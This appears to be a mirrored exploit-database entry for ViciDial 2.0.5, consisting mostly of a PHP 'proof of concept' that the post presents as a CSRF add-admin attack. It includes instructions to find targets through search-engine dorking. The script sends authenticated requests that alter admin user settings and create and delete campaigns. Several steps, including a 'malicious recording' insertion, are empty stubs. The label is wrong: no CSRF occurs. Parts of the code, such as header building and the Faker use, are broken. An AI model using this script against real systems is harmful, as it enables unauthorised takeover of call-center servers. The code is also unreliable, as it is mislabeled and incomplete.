Lucene search
K

ViciDial 2.0.5 Cross Site Request Forgery

🗓️ 03 Oct 2024 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 348 Views

ViciDial 2.0.5 CSRF Add Admin Vulnerability on Windows 10 and Mozilla Firefox 130.0.

Code
`=============================================================================================================================================  
| # Title : ViciDial Call Center - astguiclient - thirtieth public release 2.0.5 CSRF Add ADmin Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |  
| # Vendor : https://github.com/inktel/Vicidial/archive/refs/heads/master.zip |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following php code add new admin .  
  
[+] Line 172 set your target. ( $exploit = new VICIdialExploit('admin', 'password', 'http://127.0.0.1'); )  
  
[+] save code as poc.php .  
  
[+] USage : cmd = php poc.php .  
  
[+] PayLoad :  
  
  
<?php  
class VICIdialExploit {  
private $username;  
private $password;  
private $targetUri;  
private $headers;  
  
public function __construct($username, $password, $targetUri) {  
$this->username = $username;  
$this->password = $password;  
$this->targetUri = $targetUri;  
$this->headers = array(  
'Authorization' => 'Basic ' . base64_encode($username . ':' . $password)  
);  
}  
  
public function check() {  
$response = $this->sendRequest('GET', $this->targetUri . '/agc/vicidial.php');  
if ($response['code'] != 200) {  
return 'Unknown';  
}  
  
$version_info = $this->extractVersion($response['body']);  
if (!$version_info) {  
return 'Unknown';  
}  
  
$current_version = $this->compareVersion($version_info, '2.14-917a');  
return ($current_version <= 0) ? 'Vulnerable' : 'Safe';  
}  
  
private function extractVersion($html) {  
preg_match("/VERSION:\s*(\d+\.\d+)-(\d+)/", $html, $matches);  
return isset($matches[0]) ? $matches[0] : null;  
}  
  
private function compareVersion($current, $vulnerable) {  
return version_compare($current, $vulnerable);  
}  
  
public function exploit() {  
$this->startService();  
$this->authenticateAdmin();  
$this->updateUserSettings();  
$this->updateSystemSettings();  
$campaignData = $this->createDummyCampaign();  
$this->updateCampaignSettings($campaignData['id']);  
$this->createDummyList($campaignData['list_name'], $campaignData['id']);  
$phoneCreds = $this->fetchPhoneCredentials();  
$this->agentPortalAuthentication($phoneCreds['extension'], $phoneCreds['password'], $campaignData['id']);  
$this->insertMaliciousRecording($phoneCreds['recording_extension']);  
$this->deleteDummyCampaign($campaignData['id']);  
$this->waitForCronJob();  
}  
  
private function startService() {  
// Starting HTTP service logic  
}  
  
private function sendRequest($method, $url, $body = null) {  
$options = array(  
'http' => array(  
'method' => $method,  
'header' => implode("\r\n", $this->headers)  
)  
);  
if ($body) {  
$options['http']['content'] = http_build_query($body);  
}  
$context = stream_context_create($options);  
$result = file_get_contents($url, false, $context);  
  
return array(  
'code' => $http_response_header[0],  
'body' => $result  
);  
}  
  
private function authenticateAdmin() {  
$response = $this->sendRequest('GET', $this->targetUri . '/vicidial/admin.php', array('ADD' => '3', 'user' => $this->username));  
if ($response['code'] != 200) {  
throw new Exception('Failed to authenticate with credentials.');  
}  
echo 'Authenticated successfully as user ' . $this->username;  
}  
  
private function updateUserSettings() {  
$faker = new Faker\Generator();  
$userSettings = array(  
'ADD' => '4A',  
'user' => $this->username,  
'pass' => $this->password,  
'full_name' => $faker->name,  
'user_group' => 'ADMIN',  
'phone_login' => $faker->userName,  
'phone_pass' => $faker->password,  
'active' => 'Y',  
'vicidial_recording' => '1'  
);  
$this->sendRequest('POST', $this->targetUri . '/vicidial/admin.php', $userSettings);  
echo 'Updated user settings';  
}  
  
private function updateSystemSettings() {  
// Fetching system settings logic and making changes  
}  
  
private function createDummyCampaign() {  
$faker = new Faker\Generator();  
$campaignId = rand(100000, 999999);  
$listId = $campaignId + 1;  
$campaignName = $faker->company;  
  
$campaignSettings = array(  
'ADD' => '21',  
'campaign_id' => $campaignId,  
'campaign_name' => $campaignName,  
'user_group' => '---ALL---',  
'active' => 'Y'  
);  
$this->sendRequest('POST', $this->targetUri . '/vicidial/admin.php', $campaignSettings);  
echo 'Created dummy campaign ' . $campaignName;  
  
return array('name' => $campaignName, 'id' => $campaignId, 'list_name' => $campaignName . ' List', 'list_id' => $listId);  
}  
  
private function updateCampaignSettings($campaignId) {  
$campaignSettings = array(  
'ADD' => '41',  
'campaign_id' => $campaignId,  
'active' => 'Y',  
'auto_dial_level' => '1'  
);  
$this->sendRequest('POST', $this->targetUri . '/vicidial/admin.php', $campaignSettings);  
echo 'Updated dummy campaign settings';  
}  
  
private function createDummyList($listName, $campaignId) {  
$listSettings = array(  
'ADD' => '211',  
'list_name' => $listName,  
'campaign_id' => $campaignId,  
'active' => 'Y'  
);  
$this->sendRequest('POST', $this->targetUri . '/vicidial/admin.php', $listSettings);  
echo 'Created dummy list ' . $listName;  
}  
  
private function fetchPhoneCredentials() {  
// Fetching phone credentials logic  
}  
  
private function agentPortalAuthentication($extension, $password, $campaignId) {  
// Agent portal authentication logic  
}  
  
private function insertMaliciousRecording($recordingExtension) {  
// Inserting malicious recording logic  
}  
  
private function deleteDummyCampaign($campaignId) {  
$this->sendRequest('GET', $this->targetUri . '/vicidial/admin.php', array('ADD' => '61', 'campaign_id' => $campaignId, 'CoNfIrM' => 'YES'));  
echo 'Deleted dummy campaign ' . $campaignId;  
}  
  
private function waitForCronJob() {  
// Waiting for cron job logic  
}  
}  
  
// Usage example:  
$exploit = new VICIdialExploit('admin', 'password', 'http://127.0.0.1');  
$exploit->check();  
$exploit->exploit();  
?>  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation